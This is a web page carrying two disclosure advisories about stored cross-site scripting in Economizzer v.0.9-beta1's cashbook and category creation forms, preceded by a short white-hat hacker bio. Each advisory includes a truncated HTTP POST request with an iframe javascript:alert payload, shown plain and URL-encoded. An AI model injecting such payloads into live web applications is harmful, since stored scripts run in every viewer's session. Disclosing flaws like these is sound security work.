Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

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Contact us at khalil@khalil-shreateh.com

A persistent cross-site scripting (XSS) vulnerability exists in gugoan's
Economizzer v.0.9-beta1 A persistent cross-site scripting (XSS) vulnerability exists in gugoan's
Economizzer v.0.9-beta1 The application fails to properly sanitize
user-supplied input when creating a new cash book entry via the
*cashbook/create* endpoint. An attacker can inject malicious JavaScript
payloads that are permanently stored and later executed in the context of
any user who views the affected entry.



https://<host>/web/cashbook/create



POST /web/cashbook/create HTTP/2

Host: <host>

-



------WebKitFormBoundaryM93AAtGLA59fTnSU

--snip--



<iframe src="javascript:alert(4)">

------WebKitFormBoundaryM93AAtGLA59fTnSU

Content-Disposition: form-data; name="Cashbook[is_pending]"



--snip--



------- second advisory --------

A persistent cross-site scripting (XSS) vulnerability exists in gugoan's
Economizzer v.0.9-beta1. The application fails to properly sanitize
user-supplied input when creating a new category via the
*category/create *endpoint.
An attacker can inject malicious JavaScript payloads that are permanently
stored and later executed in the context of any user who views the affected
entry.

https://<host>/web/category/create

POST /web/category/create HTTP/2

Host: <host>



--snip--

Category%5Bdesc_category%5D=%3Ciframe+src%3D%22javascript%3Aalert%283%29%22%3E
--snip--
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